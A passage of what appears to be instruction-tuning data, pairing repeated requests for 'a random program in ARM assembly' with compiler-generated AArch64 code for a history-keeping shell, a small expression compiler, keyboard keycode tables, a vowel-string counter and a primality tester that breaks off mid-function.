.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE15:
.size searchHistoryByPrefix, .-searchHistoryByPrefix
.align 2
.global resizeHistoryList
.type resizeHistoryList, %function
resizeHistoryList:
.LFB16:
.cfi_startproc
stp x29, x30, [sp, -80]!
.cfi_def_cfa_offset 80
.cfi_offset 29, -80
.cfi_offset 30, -72
mov x29, sp
str x0, [sp, 40]
str x1, [sp, 32]
str w2, [sp, 28]
str wzr, [sp, 52]
ldr x0, [sp, 32]
str x0, [sp, 56]
str xzr, [sp, 64]
str xzr, [sp, 72]
mov w0, 1
str w0, [sp, 52]
b .L62
.L64:
ldr x0, [sp, 56]
ldr x0, [x0, 432]
str x0, [sp, 56]
ldr w0, [sp, 52]
add w0, w0, 1
str w0, [sp, 52]
.L62:
ldr w1, [sp, 28]
ldr w0, [sp, 52]
cmp w1, w0
ble .L63
ldr x1, [sp, 56]
ldr x0, [sp, 40]
cmp x1, x0
bne .L64
.L63:
ldr x1, [sp, 56]
ldr x0, [sp, 40]
cmp x1, x0
beq .L68
ldr x0, [sp, 40]
ldr x0, [x0, 424]
ldr x1, [sp, 56]
cmp x1, x0
beq .L68
ldr x0, [sp, 56]
ldr x0, [x0, 432]
str x0, [sp, 64]
ldr x0, [sp, 40]
ldr x1, [sp, 56]
str x1, [x0, 424]
ldr x0, [sp, 56]
ldr x1, [sp, 40]
str x1, [x0, 432]
b .L66
.L67:
ldr x0, [sp, 64]
str x0, [sp, 72]
ldr x0, [sp, 64]
ldr x0, [x0, 432]
str x0, [sp, 64]
ldr x0, [sp, 72]
bl free
.L66:
ldr x1, [sp, 64]
ldr x0, [sp, 40]
cmp x1, x0
bne .L67
.L68:
nop
ldp x29, x30, [sp], 80
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE16:
.size resizeHistoryList, .-resizeHistoryList
.section .rodata
.align 3
.LC3:
.string "SysIIShell--> "
.align 3
.LC4:
.string "sethistory"
.align 3
.LC5:
.string "Invalid history size."
.align 3
.LC6:
.string "rr"
.align 3
.LC7:
.string "No recent history!"
.align 3
.LC8:
.string "r"
.align 3
.LC9:
.string "Syntax Error: Must include history number."
.align 3
.LC10:
.string "Invalid history number; Must be an integer greater then zero."
.align 3
.LC11:
.string "History number %d doesn't exist.\n"
.align 3
.LC12:
.string "History not found."
.align 3
.LC13:
.string "history"
.align 3
.LC14:
.string "h"
.text
.align 2
.global main
.type main, %function
main:
.LFB17:
.cfi_startproc
stp x29, x30, [sp, -496]!
.cfi_def_cfa_offset 496
.cfi_offset 29, -496
.cfi_offset 30, -488
mov x29, sp
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 488]
mov x1, 0
mov w0, 12
str w0, [sp, 32]
add x1, sp, 56
add x0, sp, 48
bl InitHistoryLinkList
.L90:
str wzr, [sp, 24]
adrp x0, .LC3
add x0, x0, :lo12:.LC3
bl printf
mov x0, 0
bl fflush
add x2, sp, 24
add x1, sp, 80
add x0, sp, 408
bl setup
ldrb w0, [sp, 408]
cmp w0, 0
beq .L94
add x2, sp, 408
adrp x0, .LC4
add x1, x0, :lo12:.LC4
mov x0, x2
bl strcmp
cmp w0, 0
bne .L72
str wzr, [sp, 36]
ldr x0, [sp, 88]
cmp x0, 0
beq .L73
ldr x0, [sp, 88]
bl atoi
str w0, [sp, 36]
.L73:
ldr w0, [sp, 36]
cmp w0, 0
ble .L74
ldr x0, [sp, 48]
ldr x1, [sp, 56]
ldr w2, [sp, 32]
bl resizeHistoryList
ldr w0, [sp, 36]
str w0, [sp, 32]
ldr x0, [sp, 48]
ldr x1, [sp, 56]
ldr w2, [sp, 36]
bl resizeHistoryList
b .L71
.L74:
adrp x0, .LC5
add x0, x0, :lo12:.LC5
bl puts
b .L71
.L72:
add x2, sp, 408
adrp x0, .LC6
add x1, x0, :lo12:.LC6
mov x0, x2
bl strcmp
cmp w0, 0
bne .L76
ldr x0, [sp, 56]
ldr w0, [x0, 412]
ldr x1, [sp, 48]
ldr x2, [sp, 56]
ldr w3, [sp, 32]
bl searchHistoryByIndex
str x0, [sp, 72]
ldr x0, [sp, 72]
cmp x0, 0
beq .L77
ldr x0, [sp, 72]
bl echoHistoryCommand
add x2, sp, 24
add x1, sp, 80
add x0, sp, 408
mov x3, x2
mov x2, x1
mov x1, x0
ldr x0, [sp, 72]
bl setHistoryNode
b .L78
.L77:
adrp x0, .LC7
add x0, x0, :lo12:.LC7
bl puts
b .L71
.L76:
add x2, sp, 408
adrp x0, .LC8
add x1, x0, :lo12:.LC8
mov x0, x2
bl strcmp
cmp w0, 0
bne .L78
str wzr, [sp, 40]
ldr x0, [sp, 88]
cmp x0, 0
beq .L79
ldr x0, [sp, 88]
bl atoi
str w0, [sp, 40]
ldr w0, [sp, 40]
cmp w0, 0
bge .L81
b .L93
.L79:
adrp x0, .LC9
add x0, x0, :lo12:.LC9
bl puts
b .L71
.L93:
adrp x0, .LC10
add x0, x0, :lo12:.LC10
bl puts
b .L71
.L81:
ldr x0, [sp, 48]
ldr x1, [sp, 56]
ldr w3, [sp, 32]
mov x2, x1
mov x1, x0
ldr w0, [sp, 40]
bl searchHistoryByIndex
str x0, [sp, 64]
ldr x0, [sp, 64]
cmp x0, 0
bne .L82
ldr w0, [sp, 40]
cmp w0, 0
ble .L83
ldr w1, [sp, 40]
adrp x0, .LC11
add x0, x0, :lo12:.LC11
bl printf
b .L71
.L83:
ldr x0, [sp, 88]
ldr x1, [sp, 48]
ldr x2, [sp, 56]
ldr w3, [sp, 32]
bl searchHistoryByPrefix
str x0, [sp, 64]
.L82:
ldr x0, [sp, 64]
cmp x0, 0
beq .L84
ldr x0, [sp, 64]
bl echoHistoryCommand
add x2, sp, 24
add x1, sp, 80
add x0, sp, 408
mov x3, x2
mov x2, x1
mov x1, x0
ldr x0, [sp, 64]
bl setHistoryNode
b .L78
.L84:
adrp x0, .LC12
add x0, x0, :lo12:.LC12
bl puts
b .L71
.L78:
ldr w4, [sp, 24]
add x3, sp, 80
add x2, sp, 408
add x1, sp, 56
add x0, sp, 48
bl AddHistoryToEnd
ldr x0, [sp, 48]
ldr x1, [sp, 56]
bl removeDuplicateHistory
bl fork
str w0, [sp, 44]
ldr w0, [sp, 44]
cmp w0, 0
bne .L85
add x2, sp, 408
adrp x0, .LC13
add x1, x0, :lo12:.LC13
mov x0, x2
bl strcmp
cmp w0, 0
beq .L86
add x2, sp, 408
adrp x0, .LC14
add x1, x0, :lo12:.LC14
mov x0, x2
bl strcmp
cmp w0, 0
bne .L87
.L86:
ldr x0, [sp, 48]
ldr x1, [sp, 56]
ldr w2, [sp, 32]
bl printHistoryRecords
b .L95
.L87:
add x1, sp, 80
add x0, sp, 408
bl execvp
str w0, [sp, 28]
ldr w0, [sp, 28]
cmn w0, #1
bne .L95
bl __errno_location
ldr w0, [x0]
bl strerror
bl puts
b .L95
.L85:
ldr w0, [sp, 24]
cmp w0, 0
bne .L90
add x0, sp, 28
mov w2, 0
mov x1, x0
ldr w0, [sp, 44]
bl waitpid
b .L90
.L94:
nop
.L71:
b .L90
.L95:
nop
mov w0, 0
mov w1, w0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x3, [sp, 488]
ldr x2, [x0]
subs x3, x3, x2
mov x2, 0
beq .L92
bl __stack_chk_fail
.L92:
mov w0, w1
ldp x29, x30, [sp], 496
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE17:
.size main, .-main
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.global token
.bss
.align 3
.type token, %object
.size token, 8
token:
.zero 8
.global user_input
.align 3
.type user_input, %object
.size user_input, 8
user_input:
.zero 8
.section .rodata
.align 3
.LC0:
.string "%s\n"
.align 3
.LC1:
.string ""
.align 3
.LC2:
.string "%*s"
.align 3
.LC3:
.string "^ "
.text
.align 2
.global error_at
.type error_at, %function
error_at:
.LFB6:
.cfi_startproc
stp x29, x30, [sp, -288]!
.cfi_def_cfa_offset 288
.cfi_offset 29, -288
.cfi_offset 30, -280
mov x29, sp
str x0, [sp, 56]
str x1, [sp, 48]
str x2, [sp, 240]
str x3, [sp, 248]
str x4, [sp, 256]
str x5, [sp, 264]
str x6, [sp, 272]
str x7, [sp, 280]
str q0, [sp, 112]
str q1, [sp, 128]
str q2, [sp, 144]
str q3, [sp, 160]
str q4, [sp, 176]
str q5, [sp, 192]
str q6, [sp, 208]
str q7, [sp, 224]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 104]
mov x1, 0
add x0, sp, 288
str x0, [sp, 72]
add x0, sp, 288
str x0, [sp, 80]
add x0, sp, 240
str x0, [sp, 88]
mov w0, -48
str w0, [sp, 96]
mov w0, -128
str w0, [sp, 100]
adrp x0, user_input
add x0, x0, :lo12:user_input
ldr x0, [x0]
ldr x1, [sp, 56]
sub x0, x1, x0
str w0, [sp, 68]
adrp x0, :got:stderr
ldr x0, [x0, #:got_lo12:stderr]
ldr x3, [x0]
adrp x0, user_input
add x0, x0, :lo12:user_input
ldr x0, [x0]
mov x2, x0
adrp x0, .LC0
add x1, x0, :lo12:.LC0
mov x0, x3
bl fprintf
adrp x0, :got:stderr
ldr x0, [x0, #:got_lo12:stderr]
ldr x4, [x0]
adrp x0, .LC1
add x3, x0, :lo12:.LC1
ldr w2, [sp, 68]
adrp x0, .LC2
add x1, x0, :lo12:.LC2
mov x0, x4
bl fprintf
adrp x0, :got:stderr
ldr x0, [x0, #:got_lo12:stderr]
ldr x0, [x0]
mov x3, x0
mov x2, 2
mov x1, 1
adrp x0, .LC3
add x0, x0, :lo12:.LC3
bl fwrite
adrp x0, :got:stderr
ldr x0, [x0, #:got_lo12:stderr]
ldr x3, [x0]
add x0, sp, 16
add x1, sp, 72
ldp q0, q1, [x1]
stp q0, q1, [x0]
add x0, sp, 16
mov x2, x0
ldr x1, [sp, 48]
mov x0, x3
bl vfprintf
adrp x0, :got:stderr
ldr x0, [x0, #:got_lo12:stderr]
ldr x0, [x0]
mov x1, x0
mov w0, 10
bl fputc
mov w0, 1
bl exit
.cfi_endproc
.LFE6:
.size error_at, .-error_at
.align 2
.global consume
.type consume, %function
consume:
.LFB7:
.cfi_startproc
sub sp, sp, #16
.cfi_def_cfa_offset 16
strb w0, [sp, 15]
adrp x0, token
add x0, x0, :lo12:token
ldr x0, [x0]
ldr w0, [x0]
cmp w0, 0
bne .L4
adrp x0, token
add x0, x0, :lo12:token
ldr x0, [x0]
ldr x0, [x0, 24]
ldrb w0, [x0]
ldrb w1, [sp, 15]
cmp w1, w0
beq .L5
.L4:
mov w0, 0
b .L6
.L5:
adrp x0, token
add x0, x0, :lo12:token
ldr x0, [x0]
ldr x1, [x0, 8]
adrp x0, token
add x0, x0, :lo12:token
str x1, [x0]
mov w0, 1
.L6:
add sp, sp, 16
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE7:
.size consume, .-consume
.section .rodata
.align 3
.LC4:
.string "'%c'\343\201\247\343\201\257\343\201\202\343\202\212\343\201\276\343\201\233\343\202\223"
.text
.align 2
.global expect
.type expect, %function
expect:
.LFB8:
.cfi_startproc
stp x29, x30, [sp, -32]!
.cfi_def_cfa_offset 32
.cfi_offset 29, -32
.cfi_offset 30, -24
mov x29, sp
strb w0, [sp, 31]
adrp x0, token
add x0, x0, :lo12:token
ldr x0, [x0]
ldr w0, [x0]
cmp w0, 0
bne .L8
adrp x0, token
add x0, x0, :lo12:token
ldr x0, [x0]
ldr x0, [x0, 24]
ldrb w0, [x0]
ldrb w1, [sp, 31]
cmp w1, w0
beq .L9
.L8:
adrp x0, token
add x0, x0, :lo12:token
ldr x0, [x0]
ldr x3, [x0, 24]
ldrb w0, [sp, 31]
mov w2, w0
adrp x0, .LC4
add x1, x0, :lo12:.LC4
mov x0, x3
bl error_at
.L9:
adrp x0, token
add x0, x0, :lo12:token
ldr x0, [x0]
ldr x1, [x0, 8]
adrp x0, token
add x0, x0, :lo12:token
str x1, [x0]
nop
ldp x29, x30, [sp], 32
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE8:
.size expect, .-expect
.section .rodata
.align 3
.LC5:
.string "\346\225\260\343\201\247\343\201\257\343\201\202\343\202\212\343\201\276\343\201\233\343\202\223"
.text
.align 2
.global expect_number
.type expect_number, %function
expect_number:
.LFB9:
.cfi_startproc
stp x29, x30, [sp, -32]!
.cfi_def_cfa_offset 32
.cfi_offset 29, -32
.cfi_offset 30, -24
mov x29, sp
adrp x0, token
add x0, x0, :lo12:token
ldr x0, [x0]
ldr w0, [x0]
cmp w0, 1
beq .L11
adrp x0, token
add x0, x0, :lo12:token
ldr x0, [x0]
ldr x2, [x0, 24]
adrp x0, .LC5
add x1, x0, :lo12:.LC5
mov x0, x2
bl error_at
.L11:
adrp x0, token
add x0, x0, :lo12:token
ldr x0, [x0]
ldr w0, [x0, 16]
str w0, [sp, 28]
adrp x0, token
add x0, x0, :lo12:token
ldr x0, [x0]
ldr x1, [x0, 8]
adrp x0, token
add x0, x0, :lo12:token
str x1, [x0]
ldr w0, [sp, 28]
ldp x29, x30, [sp], 32
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE9:
.size expect_number, .-expect_number
.align 2
.global at_eof
.type at_eof, %function
at_eof:
.LFB10:
.cfi_startproc
adrp x0, token
add x0, x0, :lo12:token
ldr x0, [x0]
ldr w0, [x0]
cmp w0, 2
cset w0, eq
and w0, w0, 255
ret
.cfi_endproc
.LFE10:
.size at_eof, .-at_eof
.align 2
.global new_token
.type new_token, %function
new_token:
.LFB11:
.cfi_startproc
stp x29, x30, [sp, -64]!
.cfi_def_cfa_offset 64
.cfi_offset 29, -64
.cfi_offset 30, -56
mov x29, sp
str w0, [sp, 44]
str x1, [sp, 32]
str x2, [sp, 24]
mov x1, 32
mov x0, 1
bl calloc
str x0, [sp, 56]
ldr x0, [sp, 56]
ldr w1, [sp, 44]
str w1, [x0]
ldr x0, [sp, 56]
ldr x1, [sp, 24]
str x1, [x0, 24]
ldr x0, [sp, 32]
ldr x1, [sp, 56]
str x1, [x0, 8]
ldr x0, [sp, 56]
ldp x29, x30, [sp], 64
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE11:
.size new_token, .-new_token
.section .rodata
.align 3
.LC6:
.string "\343\203\210\343\203\274\343\202\257\343\203\212\343\202\244\343\202\272\343\201\247\343\201\215\343\201\276\343\201\233\343\202\223"
.text
.align 2
.global tokenize
.type tokenize, %function
tokenize:
.LFB12:
.cfi_startproc
stp x29, x30, [sp, -80]!
.cfi_def_cfa_offset 80
.cfi_offset 29, -80
.cfi_offset 30, -72
mov x29, sp
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 72]
mov x1, 0
adrp x0, user_input
add x0, x0, :lo12:user_input
ldr x0, [x0]
str x0, [sp, 24]
str xzr, [sp, 48]
add x0, sp, 40
str x0, [sp, 32]
b .L18
.L23:
bl __ctype_b_loc
ldr x1, [x0]
ldr x0, [sp, 24]
ldrb w0, [x0]
and x0, x0, 255
lsl x0, x0, 1
add x0, x1, x0
ldrh w0, [x0]
and w0, w0, 8192
cmp w0, 0
beq .L19
ldr x0, [sp, 24]
add x0, x0, 1
str x0, [sp, 24]
b .L18
.L19:
ldr x0, [sp, 24]
ldrb w0, [x0]
cmp w0, 43
beq .L20
ldr x0, [sp, 24]
ldrb w0, [x0]
cmp w0, 45
bne .L21
.L20:
ldr x0, [sp, 24]
add x1, x0, 1
str x1, [sp, 24]
mov x2, x0
ldr x1, [sp, 32]
mov w0, 0
bl new_token
str x0, [sp, 32]
b .L18
.L21:
bl __ctype_b_loc
ldr x1, [x0]
ldr x0, [sp, 24]
ldrb w0, [x0]
and x0, x0, 255
lsl x0, x0, 1
add x0, x1, x0
ldrh w0, [x0]
and w0, w0, 2048
cmp w0, 0
beq .L22
ldr x0, [sp, 24]
mov x2, x0
ldr x1, [sp, 32]
mov w0, 1
bl new_token
str x0, [sp, 32]
ldr x0, [sp, 24]
add x1, sp, 24
mov w2, 10
bl strtol
mov w1, w0
ldr x0, [sp, 32]
str w1, [x0, 16]
b .L18
.L22:
ldr x2, [sp, 24]
adrp x0, .LC6
add x1, x0, :lo12:.LC6
mov x0, x2
bl error_at
.L18:
ldr x0, [sp, 24]
ldrb w0, [x0]
cmp w0, 0
bne .L23
ldr x0, [sp, 24]
mov x2, x0
ldr x1, [sp, 32]
mov w0, 2
bl new_token
ldr x0, [sp, 48]
mov x1, x0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x3, [sp, 72]
ldr x2, [x0]
subs x3, x3, x2
mov x2, 0
beq .L25
bl __stack_chk_fail
.L25:
mov x0, x1
ldp x29, x30, [sp], 80
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE12:
.size tokenize, .-tokenize
.section .rodata
.align 3
.LC7:
.string "\345\274\225\346\225\260\343\201\256\345\200\213\346\225\260\343\201\214\346\255\243\343\201\227\343\201\217\343\201\202\343\202\212\343\201\276\343\201\233\343\202\223\n"
.align 3
.LC8:
.string ".intel_syntax noprefix"
.align 3
.LC9:
.string ".global main"
.align 3
.LC10:
.string "main:"
.align 3
.LC11:
.string " mov rax, %d\n"
.align 3
.LC12:
.string " add rax, %d\n"
.align 3
.LC13:
.string " sub rax, %d\n"
.align 3
.LC14:
.string " ret"
.text
.align 2
.global main
.type main, %function
main:
.LFB13:
.cfi_startproc
stp x29, x30, [sp, -32]!
.cfi_def_cfa_offset 32
.cfi_offset 29, -32
.cfi_offset 30, -24
mov x29, sp
str w0, [sp, 28]
str x1, [sp, 16]
ldr w0, [sp, 28]
cmp w0, 2
beq .L27
adrp x0, :got:stderr
ldr x0, [x0, #:got_lo12:stderr]
ldr x0, [x0]
mov x3, x0
mov x2, 43
mov x1, 1
adrp x0, .LC7
add x0, x0, :lo12:.LC7
bl fwrite
mov w0, 1
b .L28
.L27:
ldr x0, [sp, 16]
ldr x1, [x0, 8]
adrp x0, user_input
add x0, x0, :lo12:user_input
str x1, [x0]
bl tokenize
mov x1, x0
adrp x0, token
add x0, x0, :lo12:token
str x1, [x0]
adrp x0, .LC8
add x0, x0, :lo12:.LC8
bl puts
adrp x0, .LC9
add x0, x0, :lo12:.LC9
bl puts
adrp x0, .LC10
add x0, x0, :lo12:.LC10
bl puts
bl expect_number
mov w1, w0
adrp x0, .LC11
add x0, x0, :lo12:.LC11
bl printf
b .L29
.L31:
mov w0, 43
bl consume
and w0, w0, 255
cmp w0, 0
beq .L30
bl expect_number
mov w1, w0
adrp x0, .LC12
add x0, x0, :lo12:.LC12
bl printf
b .L29
.L30:
mov w0, 45
bl expect
bl expect_number
mov w1, w0
adrp x0, .LC13
add x0, x0, :lo12:.LC13
bl printf
.L29:
bl at_eof
and w0, w0, 255
eor w0, w0, 1
and w0, w0, 255
cmp w0, 0
bne .L31
adrp x0, .LC14
add x0, x0, :lo12:.LC14
bl puts
mov w0, 0
.L28:
ldp x29, x30, [sp], 32
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE13:
.size main, .-main
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.global keycodes_std_US
.section .rodata
.align 3
.type keycodes_std_US, %object
.size keycodes_std_US, 101
keycodes_std_US:
.string ""
.string ""
.string ""
.string ""
.string "abcdefghijklmnopqrstuvwxyz1234567890\r\033\b\t -=[]\\\\;'`,./"
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.ascii "/*-+\r1234567890.\\"
.global keycodes_shift_US
.align 3
.type keycodes_shift_US, %object
.size keycodes_shift_US, 101
keycodes_shift_US:
.string ""
.string ""
.string ""
.string ""
.string "ABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()\r\033\b\t _+{}||:\"~<>?"
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string "079.136428"
.ascii "/*-+\r1234567890.|"
.global keycodes_alt_GR
.align 3
.type keycodes_alt_GR, %object
.size keycodes_alt_GR, 101
keycodes_alt_GR:
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string "@"
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string "{[]}"
.string ""
.string ""
.string ""
.string ""
.string "\\"
.string ""
.string "~"
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.ascii "|"
.global keycodes_ctrl
.align 3
.type keycodes_ctrl, %object
.size keycodes_ctrl, 101
keycodes_ctrl:
.string ""
.string ""
.string ""
.string ""
.string "\001\002\003\004\005\006\007\b\t\n\013\f\r\016\017\020\021\022\023\024\025\026\027\030\031\032"
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.align 2
.global countVowelStrings
.type countVowelStrings, %function
countVowelStrings:
.LFB0:
.cfi_startproc
sub sp, sp, #16
.cfi_def_cfa_offset 16
str w0, [sp, 12]
ldr w0, [sp, 12]
add w1, w0, 1
ldr w0, [sp, 12]
add w0, w0, 2
mul w1, w1, w0
ldr w0, [sp, 12]
add w0, w0, 3
mul w1, w1, w0
ldr w0, [sp, 12]
add w0, w0, 4
mul w0, w1, w0
mov w1, 43691
movk w1, 0x2aaa, lsl 16
smull x1, w0, w1
lsr x1, x1, 32
asr w1, w1, 2
asr w0, w0, 31
sub w0, w1, w0
add sp, sp, 16
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE0:
.size countVowelStrings, .-countVowelStrings
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.align 2
.global fun1
.type fun1, %function
fun1:
.LFB0:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
str w0, [sp, 44]
str x1, [sp, 32]
str x2, [sp, 24]
ldr x2, [sp, 24]
ldr x1, [sp, 32]
ldr w0, [sp, 44]
bl fun2
ldr x2, [sp, 24]
ldr x1, [sp, 32]
ldr w0, [sp, 44]
bl fun3
nop
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE0:
.size fun1, .-fun1
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.global n
.bss
.align 2
.type n, %object
.size n, 4
n:
.zero 4
.global endptr
.align 3
.type endptr, %object
.size endptr, 8
endptr:
.zero 8
.section .rodata
.align 3
.LC0:
.string "Usage: %s positive_integer | -h | --help\n"
.align 3
.LC1:
.ascii "\nDetermine primality of a positive integer given as argumen"
.ascii "t.\nThe integer must be less than 10^10.\nThis program first"
.ascii " runs Fermat primality test on 123 random bases;\nThen if pa"
.ascii "ssed, runs Miller-Rabin primality test on above bases.\nComp"
.ascii "lexity: O(lg^3(n)), where n is the input integer.\nIf n is "
.ascii "prime, then the output is \"PRIME\" with probability 1;\nBut"
.ascii " if composite, then the output"
.string " is \"PRIME\" with probability at most 4^-123.\nThis probability is \"far less, for instance, than the probability that\na random cosmic ray will sabotage the computer during the computation!\"\n -- Algorithms. Dasgupta, Papadimitriou, and Vazirani. 2006. p 36.\n"
.align 3
.LC2:
.string "-h"
.align 3
.LC3:
.string "--help"
.align 3
.LC4:
.string "at most 9 digits\n"
.align 3
.LC5:
.string "enter an integer\n"
.align 3
.LC6:
.string "enter a positive integer\n"
.align 3
.LC7:
.string "one is exception"
.align 3
.LC8:
.string "PRIME"
.align 3
.LC9:
.string "composite"
.text
.align 2
.global main
.type main, %function
main:
.LFB6:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
str x19, [sp, 16]
.cfi_offset 19, -32
str w0, [sp, 44]
str x1, [sp, 32]
ldr w0, [sp, 44]
cmp w0, 2
beq .L2
adrp x0, :got:stderr
ldr x0, [x0, #:got_lo12:stderr]
ldr x3, [x0]
ldr x0, [sp, 32]
ldr x0, [x0]
mov x2, x0
adrp x0, .LC0
add x1, x0, :lo12:.LC0
mov x0, x3
bl fprintf
adrp x0, :got:stderr
ldr x0, [x0, #:got_lo12:stderr]
ldr x0, [x0]
mov x3, x0
mov x2, 637
mov x1, 1
adrp x0, .LC1
add x0, x0, :lo12:.LC1
bl fwrite
mov w0, 1
bl exit
.L2:
ldr x0, [sp, 32]
add x0, x0, 8
ldr x2, [x0]
adrp x0, .LC2
add x1, x0, :lo12:.LC2
mov x0, x2
bl strcmp
mov w19, w0
ldr x0, [sp, 32]
add x0, x0, 8
ldr x2, [x0]
adrp x0, .LC3
add x1, x0, :lo12:.LC3
mov x0, x2
bl strcmp
mul w0, w19, w0
cmp w0, 0
bne .L3
adrp x0, :got:stdout
ldr x0, [x0, #:got_lo12:stdout]
ldr x3, [x0]
ldr x0, [sp, 32]
ldr x0, [x0]
mov x2, x0
adrp x0, .LC0
add x1, x0, :lo12:.LC0
mov x0, x3
bl fprintf
adrp x0, :got:stdout
ldr x0, [x0, #:got_lo12:stdout]
ldr x0, [x0]
mov x3, x0
mov x2, 637
mov x1, 1
adrp x0, .LC1
add x0, x0, :lo12:.LC1
bl fwrite
mov w0, 0
bl exit
.L3:
ldr x0, [sp, 32]
add x0, x0, 8
ldr x0, [x0]
bl strlen
cmp x0, 9
bls .L4
adrp x0, :got:stderr
ldr x0, [x0, #:got_lo12:stderr]
ldr x0, [x0]
mov x3, x0
mov x2, 17
mov x1, 1
adrp x0, .LC4
add x0, x0, :lo12:.LC4
bl fwrite
mov w0, 1
b .L5
.L4:
ldr x0, [sp, 32]
add x0, x0, 8
ldr x3, [x0]
mov w2, 0
adrp x0, endptr
add x1, x0, :lo12:endptr
mov x0, x3
bl strtol
mov w1, w0
adrp x0, n
add x0, x0, :lo12:n
str w1, [x0]
adrp x0, endptr
add x0, x0, :lo12:endptr
ldr x0, [x0]
ldrb w0, [x0]
cmp w0, 0
beq .L6
adrp x0, :got:stderr
ldr x0, [x0, #:got_lo12:stderr]
ldr x0, [x0]
mov x3, x0
mov x2, 17
mov x1, 1
adrp x0, .LC5
add x0, x0, :lo12:.LC5
bl fwrite
mov w0, 1
b .L5
.L6:
adrp x0, n
add x0, x0, :lo12:n
ldr w0, [x0]
cmp w0, 0
bgt .L7
adrp x0, :got:stderr
ldr x0, [x0, #:got_lo12:stderr]
ldr x0, [x0]
mov x3, x0
mov x2, 25
mov x1, 1
adrp x0, .LC6
add x0, x0, :lo12:.LC6
bl fwrite
mov w0, 1
b .L5
.L7:
adrp x0, n
add x0, x0, :lo12:n
ldr w0, [x0]
cmp w0, 1
bne .L8
adrp x0, .LC7
add x0, x0, :lo12:.LC7
bl puts
b .L9
.L8:
adrp x0, n
add x0, x0, :lo12:n
ldr w0, [x0]
cmp w0, 2
beq .L10
adrp x0, n
add x0, x0, :lo12:n
ldr w0, [x0]
bl fermat
cmp w0, 0
beq .L11
adrp x0, n
add x0, x0, :lo12:n
ldr w0, [x0]
bl miller_rabin
cmp w0, 0
beq .L11
.L10:
adrp x0, .LC8
add x0, x0, :lo12:.LC8
bl puts
b .L9
.L11:
adrp x0, .LC9
add x0, x0, :lo12:.LC9
bl puts
.L9:
mov w0, 0
bl exit
.L5:
ldr x19, [sp, 16]
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_restore 19
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE6:
.size main, .-main
.align 2
.global power_mod
.type power_mod, %function
power_mod:
.LFB7:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
str w0, [sp, 28]
str w1, [sp, 24]
str w2, [sp, 20]
